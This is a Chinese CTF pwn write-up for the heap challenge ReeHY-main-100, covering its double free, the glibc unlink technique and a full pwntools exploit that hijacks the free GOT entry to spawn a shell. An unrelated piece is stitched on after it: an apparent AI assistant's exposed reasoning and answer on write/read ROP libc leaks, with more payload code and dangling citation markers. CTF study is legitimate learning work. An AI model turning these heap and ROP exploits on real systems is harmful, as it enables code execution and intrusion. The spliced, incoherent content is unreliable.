CTF-PWN-4-ReeHY-main-100(堆溢出+double free+unlink)

本文详细解析了一道Pwn题目的程序结构,包括动态库.so和elf文件的特性,通过分析Create、Delete和Edit函数揭示了整数溢出和double-free漏洞。利用unlink原理,通过构造payload实现了对free got表的修改,最终获得shell。文章还提供了不使用ELF模块的Exploit代码示例。

程序综述

题目包含了一个动态库.so文件和elf文件,checksec查看:

supergate@ubuntu:~/Desktop/Pwn$ checksec pwn
[*] '/home/supergate/Desktop/Pwn/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

发现只开启了NX

查看反汇编代码后可以发现,是一个典型的菜单题。有用的函数包含:

Create函数
int Create()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int v3; // [rsp+88h] [rbp-8h]
  size_t nbytes; // [rsp+8Ch] [rbp-4h]

  result = dword_6020AC;
  if ( dword_6020AC <= 4 )
  {
    puts("Input size");
    result = sub_400C55("Input size");
    LODWORD(nbytes) = result;
    if ( result <= 4096 )
    {
      puts("Input cun");
      result = sub_400C55("Input cun");
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 112 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes);
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
        *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
        dword_6020E8[4 * v3] = 1;
        ++dword_6020AC;
        result = fflush(stdout);
      }
    }
  }
  return result;
}

可知存在一个整数溢出漏洞(size没有检验正负,如果为负最后转为unsigned char 之后会成为大整数),不过后面没有利用。

Delete函数
__int64 Delete()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to dele");
  result = sub_400C55("Chose one to dele");
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&unk_6020E0 + 2 * (signed int)result));
    dword_6020E8[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(dword_6020AC-- - 1);
  }
  return result;
}

发现进行free的时候没有检验当前堆块是否已经被free过,故可以构造double-free,通过unlink的原理进行getshell

Edit函数
int Edit()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to edit");
  result = sub_400C55("Chose one to edit");
  v1 = result;
  if ( result <= 4 )
  {
    result = dword_6020E8[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&unk_6020E0 + 2 * v1), *(unsigned int *)(4LL * v1 + qword_6020C0));
      result = puts("Edit success!");
    }
  }
  return result;
}

普通的函数,没有可以利用的漏洞。

至于后面的Show函数,是个废的,并没有任何作用。


要注意的是,在Create一个堆块之后,堆头会被存入一个表中,我们可以通过这个表进行对free的got表的修改,从而将free函数劫持为system函数


漏洞利用

unlink原理简述

以下内容部分借用:https://bbs.pediy.com/thread-218300.htm
以及https://blog.youkuaiyun.com/breeze_cat/article/details/100588350 的内容

对于一个普通堆的结构:

struct malloc_chunk {
 
[p + 0]      INTERNAL_SIZE_T      prev_size; /* 前一个空闲chunk的大小*/
[p + 1]      INTERNAL_SIZE_T      size;      /* 字节表示的chunk大小,包括chunk头 */
 
[p + 2]      struct malloc_chunk* fd;         /* 双向链表 -- 只有在被free后才存在 */
[p + 3]      struct malloc_chunk* bk;        /* fd:前一个空闲的块  bk:后一个空闲的块*/
 
      struct malloc_chunk* fd_nextsize;  /*块大小超过512字节后会有这两个指针*/
      struct malloc_chunk* bk_nextsize;
    };
/* 
补充说明:
1.prev_size :前一块被free的话则为空闲块的大小,前一块未被free的话则为0
2.size : 因为chunk是四字节对齐所以size的低三位一定是0,被用来做flag
*/

现在的unlink会包含以下这样的判断,来防止非法的unlink

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
    FD->bk = BK;
    BK->fd = FD;
    ......
}

因此 ,我们需要构造P的fd和bk,使得FD>bk == BK->fd == P
注意到Create函数会将所有堆指针存入一个表单中,我们可以在这个表中找到P的值,设&P为P在表中的地址,我们只需要构造:

p->fd= &P-0x18
p->bk= &P-0x10
这里的0x10,0x18分别相当于2,3个单位长度,因为在64位中该数据以8字节形式存储
这里的p->fd和p->bk分别代表上面结构体中[p+3],[p+2]处存储的数据

这样我们就可以绕过unlink的合法性检查。执行

FD->bk = BK;
BK->fd = FD;

之后,p就成为指向(&p)-3的指针。


选择借用大佬的图,来表示流程

整个堆的布局应该大致如下所示(左边的一列表示上面说的存堆头指针的表)
堆布局
左边表示的表,索引方式画图表示如下:
索引方式
因此unlink之后,结构如下:
unlink后
所以cun2-0x18的地方就是cun0的flag位,从这个位到下面cun2要跨越一个cun1。cun2的指针改为了指向cun2-0x18的地方,也就是cun1的flag位,那么想要重新覆盖cun2,我们就会将cun1页覆盖过去,这也是为什么构造堆结构的时候cun0和cun2之间多了一个cun1的原因。
因此我们构造payload的时候,要注意设置cun1的符号位。所以经过布置,unlink后的对cun2的修改,应该达到如下效果:
在这里插入图片描述
将free的got表修改为puts的got表,这样调用free(cun1)就会变成puts(atoi_addr),成功泄露一个libc中函数的地址,然后计算出system的地址,再讲free_got修改为system地址,然后再调用一下free(cun0)就会变成system(’/bin/sh\x00’)(cun0中存放的/bin/sh字符串)。

图和原理是借鉴的别人的,实际上自己是选择puts函数打印出自己的got表,然后通过puts函数的偏移和地址计算出system函数的实际地址。可以达到相同的效果
因为自己写得的exp会报错,后来查看其他人的博客发现只要用ELF模块读取好像都过不了,所以引用以下不使用ELF模块的exp

from pwn import *
import sys
DEBUG = True             
if DEBUG:
    io = process('./pwn')   
    context.log_level = 'debug'
else:   
    io = remote(sys.argv[1], int(sys.argv[2]))
    
def welcome():
    io.recvuntil('name: \n$')
    io.send('pediy')

def create(index,size,content):
    io.recvuntil('*********\n$')
    io.send('1')
    io.recvuntil('Input size\n')
    io.send(str(size))
    io.recvuntil('Input cun\n')
    io.send(str(index))
    io.recvuntil('Input content\n')
    io.send(content)    
def delete(index):
    io.recvuntil('*********\n$')
    io.send('2')
    io.recvuntil('Chose one to dele\n')
    io.send(str(index))

def edit(index,content):
    io.recvuntil('*********\n$')
    io.send('3')
    io.recvuntil('to edit\n')
    io.send(str(index))
    io.recvuntil('the content\n')
    io.send(content)

def exp():    
    system_off = 0x45390
    puts_off = 0x6f690
    got_addr = 0x602018
    p_addr = 0x602100
    puts_plt = 0x4006d0 
     
    welcome()
    create(0,0x20,'/bin/sh\x00')
 
    create(2,0x100,'BBBB')
    create(1,0x100,'CCCC')
    #gdb.attach(io)
    delete(2)
    delete(1)
    
    payload = ''
    payload += p64(0)
    payload += p64(0x101)
    payload += p64(p_addr-0x18)
    payload += p64(p_addr-0x10)
    payload += 'a'*(0x100-4*8)
    payload += p64(0x100)
    payload += p64(0x110)

    create(2,0x210,payload)
    #unlink
    delete(1)
    #*p = p-0x18 = 0x602100-0x18 = 0x6020e8
    payload = ''
    payload += p64(1)         
    payload += p64(got_addr)    #1--free()
    payload += p64(1)
    payload += p64(got_addr+8)  #2--puts()
    payload += p64(1)
   
    edit(2,payload)
   
    #free-->puts
    edit(1,p64(puts_plt))
    
    #puts(puts_got)
    delete(2)
    puts_addr = io.recv(6)
 
    system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
 
    edit(1,p64(system_addr))
    
    delete(0)
    io.interactive()

exp()
<think> 我们参考引用内容,特别是引用[1]到[5],来回答用户关于使用write和read函数在CTF Pwn中求libc基址的方法。 根据引用[4]和[5],我们知道: 1. 程序运行后,libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址(例如write或puts)来计算libc基址。 在CTF Pwn中,如果程序有栈溢出漏洞,我们可以构造ROP链来调用write函数(或puts函数)来泄露某个函数的真实地址(通常是GOT表中存储的地址),然后通过这个地址减去该函数在libc中的偏移量,得到libc基址。 具体到使用write+read的方法,通常步骤如下: 步骤1:第一次溢出,利用ROP调用write函数,将GOT表中某个函数(如write自身或puts)的地址输出到标准输出(文件描述符1)。同时,为了后续继续利用,我们需要控制程序返回到一个可以再次触发溢出的位置(如main函数开头)。 步骤2:接收程序输出,解析出泄露的函数地址。 步骤3:根据泄露的函数地址,计算libc基址(基址 = 泄露的函数地址 - 该函数在libc中的偏移量)。注意,不同libc版本中函数的偏移量不同,因此需要确定libc版本(可以通过泄露多个函数地址来匹配,或者题目提供了libc文件)。 步骤4:根据libc基址,计算出system函数和字符串"/bin/sh"的地址。 步骤5:第二次溢出,利用ROP调用read函数(或其他输入函数)将构造好的ROP链(调用system("/bin/sh"))写入到某个可写内存区域(如.bss段),然后跳转到该区域执行;或者直接构造ROP链调用system("/bin/sh")。 但是,用户特别提到使用write+read,所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码: 第一次ROP链: - 覆盖返回地址为write函数的PLT地址(write@plt) - 设置write函数的参数:文件描述符(1)、要泄露的地址(如write_got,即GOT表中write的地址)、输出的长度(4或8字节,取决于32位还是64位) - 设置返回地址为main函数的地址(或另一个可以再次触发溢出的地址),这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值,然后计算libc基址。 第二次ROP链: - 覆盖返回地址为read函数的PLT地址(read@plt) - 设置read函数的参数:文件描述符(0,即标准输入)、存储地址(如.bss段的一个缓冲区)、长度(足够长以容纳我们输入的ROP链) - 设置返回地址为存储的ROP链的起始地址(即.bss段的那个缓冲区),这样read函数读入的数据(即我们构造的ROP链)会从.bss段开始执行。 第二次ROP链中,我们可以在.bss段写入一个ROP链,这个ROP链调用system("/bin/sh")。或者,我们可以利用read函数读入一个ROP链直接调用system("/bin/sh"),但要注意此时需要知道system函数的地址。 另一种常见的做法是:第二次ROP链直接构造调用system("/bin/sh"),而不通过read再次读入。但这里用户要求使用read,所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例(32位): 第一次ROP链: - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址,计算libc基址:libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址: system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链: - 填充缓冲区 - read@plt - system_addr (注意:这里我们希望read后返回到system,并且参数是/bin/sh,但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址?这里需要调整思路) 实际上,我们通常需要将"/bin/sh"字符串写入内存,如果libc中已经有这个字符串,我们可以直接使用。然后调用system函数。 但是,如果我们使用read读入,我们可以这样: 第二次ROP链1(使用read读入字符串和后续ROP): read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr(即执行我们读入的shellcode或ROP链) 但是,我们也可以直接构造ROP链调用system,此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址(如.bss段),然后调用system。 因此,第二次ROP链可以这样: - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址(用于清理read的参数),然后接着是system的地址和参数 - 参数1:0(标准输入) - 参数2:bss_addr(.bss段的一个地址,用于存放我们输入的字符串"/bin/sh") - 参数3:8(长度,足够存放字符串) - 然后设置返回地址为一段gadget:pop ebx; ret; 这样当read执行完后,会弹出参数(清理栈),然后执行下一条指令。接着我们调用system,参数是bss_addr。 具体构造(32位): payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释: - 调用read(0, bss_addr, 8)读入8个字节到bss_addr(这里我们输入"/bin/sh\x00") - read函数返回后,执行pop3_ret(一个弹出3个参数的gadget),将read的参数弹出栈,然后返回到system_addr - system_addr的返回地址是ret_addr(可以是一个无用的ret指令地址),参数是bss_addr(即我们读入的字符串地址) 但是,在64位系统中,参数传递通过寄存器,所以构造方式不同。 由于用户没有指定是32位还是64位,这里我们以32位为例。 然而,在实际题目中,我们往往需要根据题目提供的libc来确定偏移量,或者使用LibcSearcher等工具来查找。 总结步骤: 1. 利用write泄露一个GOT表地址(如write_got)。 2. 计算libc基址(需要知道该函数在libc中的偏移)。 3. 计算system和/bin/sh的地址(需要知道它们在libc中的偏移)。 4. 利用read函数读入字符串"/bin/sh"到.bss段(可选,如果libc中已有则不用读入)。 5. 构造ROP链调用system("/bin/sh")。 注意:如果题目中write函数不可用,也可以用puts函数,但puts遇到'\0'会结束,所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移,我们可以使用类似的工具。 下面是一个简化的例子(假设是32位程序): 第一次ROP链: payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后,接收泄露的write_got地址(4字节),解析为地址。 然后,计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本,或者使用LibcSearcher 接着,计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有,则需要读入 第二次ROP链: # 首先,我们需要读入"/bin/sh"字符串到.bss段(假设bss_addr已知) payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里,弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后,我们调用system,参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址,可以随意 payload2 += p32(bss_addr) 然后发送payload2,接着发送字符串"/bin/sh\x00"(8字节)。 这样,程序就会执行system("/bin/sh")。 但是,如果libc中已经有"/bin/sh"字符串,我们可以直接使用,不需要读入。那么第二次ROP链可以简化为: payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而,用户要求使用read,所以这里我们展示的是需要读入字符串的情况。 注意:实际题目中,我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在,我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32位和64位系统中,利用write和read函数求libc基址的主要区别是什么? 2. 如果程序中没有write函数,还可以用哪些函数来泄露libc基址? 3. 在利用read函数读入数据时,如何确定.bss段的地址? 4. 如何解决不同libc版本中函数偏移量不同的问题? 5. 在构造ROP链时,为什么有时候需要返回到main函数重新开始? </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中,通过`write`和`read`函数泄露libc基址是常见的利用技术,主要流程如下: #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 - 该函数在libc中的固定偏移量 即:$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT表存储函数真实地址,通过泄露GOT表项获取libc函数地址(如`write@got`)[^2][^5]。 #### 操作步骤 1. **第一次ROP链(泄露地址)** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64位地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据,解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链(getshell)** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中(如[^3]),用`read`构造栈迁移: ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域(如.bss段)[^3]。 2. **动态偏移处理** - 当libc版本未知时,用`LibcSearcher`匹配: ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时(无法执行shellcode) 3. 输入长度受限需结合栈迁移(如[^3]) ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值